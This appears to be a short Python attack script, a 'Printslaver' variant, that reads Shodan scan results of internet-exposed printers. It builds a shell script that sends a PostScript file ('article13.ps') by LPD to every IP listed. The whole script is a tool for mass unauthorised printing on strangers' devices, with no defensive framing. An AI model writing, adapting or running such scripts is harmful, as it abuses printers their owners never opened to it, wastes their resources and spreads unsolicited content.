# Printslaver's variant that sents print jobs to LPD printers

import json
import subprocess


SHODAN_DATA_FILE = 'printers.json'
PJL_NC_PRINT_STR_TEMPLATE = "python lpdprint.py {0} article13.ps"

shell_exec = "printslaver"
shell_exec_file = open(shell_exec, "w")

for item in open(SHODAN_DATA_FILE).readlines():
	jsonified_item = json.loads(item)
	print_exec_string = PJL_NC_PRINT_STR_TEMPLATE.format(jsonified_item['ip_str'])
	shell_exec_file.write(print_exec_string + "\n")


# May the Force Be with you
# cybernanakinvader.wordpress.com